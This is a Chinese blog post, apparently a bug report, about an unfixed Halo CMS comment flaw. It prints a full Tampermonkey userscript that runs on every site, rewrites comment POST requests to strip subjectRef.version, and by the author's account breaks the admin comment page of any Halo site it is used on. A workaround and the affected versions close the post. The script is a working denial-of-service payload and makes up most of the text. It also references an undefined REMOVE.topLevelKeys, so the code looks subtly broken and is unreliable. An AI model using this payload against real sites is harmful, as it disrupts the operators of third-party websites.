一个脚本让 Halo CMS 评论后台瘫痪
前言
冲浪的时候看到 Issue #7890 · halo-dev/halo,我想这个 Issue 是 2025 年 11 月 1 日提的,现在都 2026 年 1 月 4 日了,应该修了吧。
验证
AI 辅助下快速写出了下面的油猴脚本进行验证:
点击展开详细信息
// ==UserScript==
// @name Modify Halo comment payload
// @namespace http://tampermonkey.net/
// @version 0.1
// @description Intercept POSTs to /apis/api.halo.run/v1alpha1/comments and remove spec.subjectRef.version
// @match *://*/*
// @grant none
// @run-at document-start
// ==/UserScript==
(function () {
'use strict';
console.log('[modify_halo_comment] script started');
const targetPath = '/apis/api.halo.run/v1alpha1/comments';
const REMOVE = {
paths: [
'subjectRef.version',
]
};
function deletePath(obj, dottedPath) {
if (!obj || typeof obj !== 'object') return false;
const parts = String(dottedPath).split('.').filter(Boolean);
if (parts.length === 0) return false;
let current = obj;
for (let i = 0; i < parts.length - 1; i++) {
const key = parts[i];
if (!current || typeof current !== 'object') return false;
current = current[key];
}
if (!current || typeof current !== 'object') return false;
const lastKey = parts[parts.length - 1];
if (lastKey in current) {
delete current[lastKey];
return true;
}
return false;
}
function stripFields(obj) {
let modified = false;
if (obj && typeof obj === 'object') {
for (const key of REMOVE.topLevelKeys) {
if (key in obj) {
delete obj[key];
modified = true;
}
}
for (const path of REMOVE.paths) {
if (deletePath(obj, path)) modified = true;
}
}
return modified;
}
// --- patch fetch ---
const _fetch = window.fetch;
window.fetch = async function (input, init) {
try {
const req = (input instanceof Request) ? input : null;
const isURLObject = (typeof URL !== 'undefined' && input instanceof URL);
let url = req ? req.url : (typeof input === 'string' ? input : isURLObject ? input.toString() : '');
let method = (init && init.method) || (req && req.method) || 'GET';
if (url && url.includes(targetPath) && method && method.toUpperCase() === 'POST') {
console.log('[modify_halo_comment] intercept', { url, method });
const serializeBody = async (body) => {
if (typeof body === 'string') return body;
if (body instanceof Blob) return await body.text();
if (body instanceof FormData) return null;
if (body && typeof body === 'object') {
try { return JSON.stringify(body); } catch (e) { }
}
return null;
};
const tryModify = (rawBody) => {
if (!rawBody) return null;
try {
const obj = JSON.parse(rawBody);
const changed = stripFields(obj);
if (changed) {
const out = JSON.stringify(obj);
console.log('[modify_halo_comment] modified body', out.length > 400 ? out.slice(0, 400) + '…' : out);
return out;
}
console.log('[modify_halo_comment] no fields matched; not modified');
} catch (e) { }
return null;
};
if (init && 'body' in init && init.body != null) {
const serialized = await serializeBody(init.body);
console.log('[modify_halo_comment] init body serialized', serialized ? serialized.slice(0, 400) : serialized);
const modified = tryModify(serialized);
if (modified) {
init = Object.assign({}, init, { body: modified });
console.log('[modify_halo_comment] removed configured fields (fetch init)');
}
} else if (req) {
const cloned = req.clone();
const text = await cloned.text();
const modified = tryModify(text);
if (modified) {
const reqInit = {
method: req.method,
headers: req.headers,
body: modified,
referrer: req.referrer,
referrerPolicy: req.referrerPolicy,
mode: req.mode,
credentials: req.credentials,
cache: req.cache,
redirect: req.redirect,
integrity: req.integrity,
keepalive: req.keepalive,
signal: req.signal
};
input = new Request(req.url, reqInit);
console.log('[modify_halo_comment] removed configured fields (fetch Request)');
}
}
}
} catch (e) { console.error('[modify_halo_comment] fetch patch error', e); }
return _fetch.call(this, input, init);
};
})();
加载脚本后,找到任意 Halo CMS 站点,进行评论。发送评论后,后台就打不开评论页面了,提示服务器内部发生错误。
临时应对
解决方法是下载 Data Studio(数据工厂) 插件删除恶意评论。
补充信息
- 复现环境:
- Halo CMS v2.22.4
- 评论组件 v3.0.0
感谢林间拾语辅助测试。
0